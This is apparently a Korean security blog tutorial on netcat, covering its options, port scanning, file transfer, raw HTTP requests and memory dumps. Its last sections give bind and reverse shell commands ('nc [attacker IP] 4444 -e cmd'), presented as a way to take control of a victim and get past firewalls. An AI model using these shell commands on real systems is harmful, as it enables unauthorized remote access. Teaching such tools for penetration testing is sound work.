넷캣(netcat, nc)의 활용
2019. 11. 17. 17:48ㆍ보안 & 해킹/모의 침투
유튜브 바로가기
넷캣이란?
- TCP/IP swiss army knife. 네트워크 해킹의 맥가이버같은 도구
- netcat (혹은 nc)은 TCP 또는 UDP를 사용하여 네트워크 연결을 읽고 쓰는 데 사용되는 컴퓨터 네트워킹 유틸리티
- 윈도우, 리눅스, 맥 등 다른 운영체제 및 스크립트에서 직접 또는 쉽게 구동
- 리눅스나 맥의 경우 기본적으로 내장되어있는 경우가 대다수
- 네트워크 디버깅 및 조사 도구로도 사용 가능함
- 사용자가 필요로하는 거의 모든 종류의 연결을 생성 할 수 있고 여러 내장 기능이 있음.
- 기능 목록에는 포트 스캔, 파일 전송 및 포트 수신이 포함되며 백도어로 사용가능
다운로드
윈도우 바이너리 및 소스
리눅스
윈도우용 exe 파일만 받기
Sans Netcat CheetSheet
옵션
-d 콘솔에서 분리되어 백그라운드 모드로 실행
-e prog 커넥션(Connection)이 이루어졌을 때 후 프로그램을 실행함 (위험!)
-g gateway source-routing hop point[s]를 8씩 증가
-G num source-routing point를 4, 8, 12 .. 4씩 증가
-h 도움말
-i secs 스캔된 포트로 전송된 회선의 지연 간격
-l 인바운드 커넥션을 위해서 listen 모드로 실행
-L 소켓 종료 시 재전송 실행
-n IP 주소 입력 (DNS 을 사용하지 않음)
-o file 주고받은 데이터를 헥스 덤프(Hex Dump)하여 파일로 저장함
-p port 로컬 포트를 지정함
-r 로컬 이나 원격 포트를 임의로 지정함
-s addr 로컬 출발지 주소를 지정함
-t Telnet 과 같은 협상 과정을 거치도록 설정함
-c LF 대신 CRLF 를 보냄
-u UDP 모드
-v 자세한 설명 모드 (더 자세한 정보를 표시하기 위해 두 번 사용)
-w secs 마지막으로 읽고 난 후 종료할 시간을 정함
-z zero-I/O 모드 (스캔 시 사용)
사용법
원격채팅연결
간단한 TCP 채팅을 실행할 수 있다.
nc -lvp 4444
nc [Target IP] 4444
포트스캔
범위를 지정하여 TCP, UDP 포트스캔을 할 수 있다. 네트워크 서비스를 점검할 때 nmap 대신 이용하면 간편하다.
범위지정 스캔
순차적 스캔이라 속도가 오래걸리므로 작은범위만 시도해보자.
C:\Users\HEP\Desktop>nc -zv hakhub.net 80-85
Warning: inverse host lookup failed for 110.35.142.2: h_errno 11004: NO_DATA
hakhub.net [110.35.142.2] 81 (hosts2-ns) open
hakhub.net [110.35.142.2] 80 (http) open
단일, 여러 포트 스캔
nc -vz hakhub.net 80 81 100
파일전송
서버(Kali Linux) -> 클라이언트(윈도우)로 파일 전송
서버
nc -l -p [Port] < [파일명]
클라이언트
nc -w3 [IP] [Port] > [파일명]
HTTP 연결
HTTP연결을 nc로 작성하여 시도할 수 있다.
모의해킹때 method 허용여부를 알아내려 할 때 편함.
~ 하지만 Postman이 더 편함 ~
C:\Users\HEP\Desktop>nc 110.35.142.2 80
GET / HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Sun, 17 Nov 2019 08:39:52 GMT
Server: Apache/2.4.34 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.34 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>
디스크 덤프
LiME과 같은 원격 시스템에서 Memory 덤프를 수행할 수 있다.
침해사고 대응에서 클라우드에 있는 원격지 서버의 Memory를 보존하기 힘든데, 이와 같은 방법도 사용할 수 있다.
원리는 간단하다. nc는 소캣을 열고 데이터 스트림을 그대로 raw값으로 파일로 옮겨쓰는 것이다.
정방향 쉘연결
윈도우는 cmd, 리눅스의 경우에는 /bin/bash 를 사용하여 쉘을 연결한다.
-e는 실행할 파일을 의미하며 쉘을 실행하면 시스템의 제어권한을 가져올 수 있다.
<피해자> nc -lvp [port_number] -e cmd
<공격자> nc [피해자 IP] [port_number]
역방향(reverse connection) 쉘연결
정방향 연결과 다른점은 NAT 환경 또는 방화벽 등으로 차단되어있을 때 reverse connection 을 이용하여 방화벽 정책을 우회할 수 있다.
이때 공격자가 먼저 포트를 열어놓아야 한다.
<공격자> nc -lvp 4444
<피해자> nc [공격자 IP] 4444 -e cmd
Reference
'보안 & 해킹 > 모의 침투' 카테고리의 다른 글
상대방의 아이피를 알아낼 수 있을까? 1PX-IP-Tracker (0) | 2020.02.19 |
---|---|
CMD로 해킹하는 7가지 방법 (29) | 2019.12.28 |
SMTP 구축 없이 메일 주소를 속여서 보내기 (0) | 2019.01.10 |
해커플레이북3 리마인드맵 remind map (0) | 2018.12.27 |
gpasswd , backdoor 은닉 코드 (0) | 2018.09.02 |